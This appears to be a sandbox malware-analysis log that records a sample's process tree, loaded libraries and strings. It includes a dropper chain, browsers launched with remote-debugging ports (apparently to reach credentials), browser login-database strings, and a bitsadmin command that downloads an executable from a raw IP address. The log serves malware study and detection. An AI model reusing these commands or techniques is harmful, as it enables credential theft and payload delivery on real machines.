Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6112:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\abe62a6b-e738-4751-a60f-c140def96d43.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2457219628.000000001D5AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2368772798.000000001D5B9000.00000004.00000020.00020000.00000000.sdmp, CAKKEGDGCGDAKEBFIJEC.0.dr, AEGHCFIDAKJEBGCAFBAE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713613180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsGCFIIEBKEG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2100,i,3394978632437486515,13494455845462171770,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2252,i,14689165809739536142,13499109782927438329,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCFIIEBKEG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCFIIEBKEG.exe "C:\Users\user\DocumentsGCFIIEBKEG.exe"
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7312 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe "C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe"
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 1 8.8.8.8
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe"
Source: C:\Windows\SysWOW64\bitsadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2100,i,3394978632437486515,13494455845462171770,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2252,i,14689165809739536142,13499109782927438329,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7312 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCFIIEBKEG.exe "C:\Users\user\DocumentsGCFIIEBKEG.exe"
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe "C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe"
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 1 8.8.8.8
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: explorerframe.dll
